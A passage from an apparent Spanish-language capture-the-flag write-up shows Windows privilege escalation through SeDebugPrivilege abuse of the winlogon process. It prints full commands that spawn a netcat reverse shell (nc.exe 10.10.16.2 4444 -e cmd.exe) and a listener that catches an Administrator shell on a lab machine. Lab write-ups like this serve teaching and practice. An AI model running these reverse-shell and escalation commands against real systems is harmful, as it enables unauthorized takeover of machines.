PS C:\Users\Public\Downloads> ImpersonateFromParentPid -ppid "552" -command "cmd.exe" -cmdargs "/c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe"

ImpersonateFromParentPid -ppid "552" -command "cmd.exe" -cmdargs "/c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe"
[+] Got Handle for ppid: 552
[+] Updated proc attribute list
[+] Starting cmd.exe /c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe...False - pid: 0 - Last error: 2

De manera que volvemos a la biblia HackTricks y allí muestran otro repositorio de Github llamado ‘SeDebugPrivilege-Exploit’. Lo descargo de sus releases, paso el archivo .exe a la máquina víctima y, desde la CMD con todos privilegios habilitados, -y luego de comenzar otro listener con netcat en el puerto 4444- lo corro usando el id del proceso winlogon previamente hallado (552 en mi caso):

C:\Users\Public\Downloads>.\debug.exe 552 "C:\Users\Public\Downloads\nc.exe 10.10.16.2 4444 -e C:\Windows\System32\cmd.exe"

.\debug.exe 552 "C:\Users\Public\Downloads\nc.exe 10.10.16.2 4444 -e C:\Windows\System32\cmd.exe"
pid= 552
[+] New process is created successfully.
    |-> PID : 2996
    |-> TID : 3456

donde SeDebugPrivesc.exe lo renombré como debug.exe. Al correr esto obtengo una nueva shell:

❯ rlwrap -cAr nc -lvnp 4444

listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49681
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Public\Downloads>

El único problema es que esta consola está algo “buggeada” ya que algunos comandos no muestran output, tales como whoami:

C:\Users\Public\Downloads>whoami

whoami

C:\Users\Public\Downloads>

Sin embargo, noto que puedo leer la flag del usuario Administrator, de manera que esta es una shell de un usuario con todos los privilegios:

C:\Users\Public>type C:\Users\Administrator\Desktop\root.txt

type C:\Users\Administrator\Desktop\root.txt

853<SNIP>

Y eso es todo :)

~Happy Hacking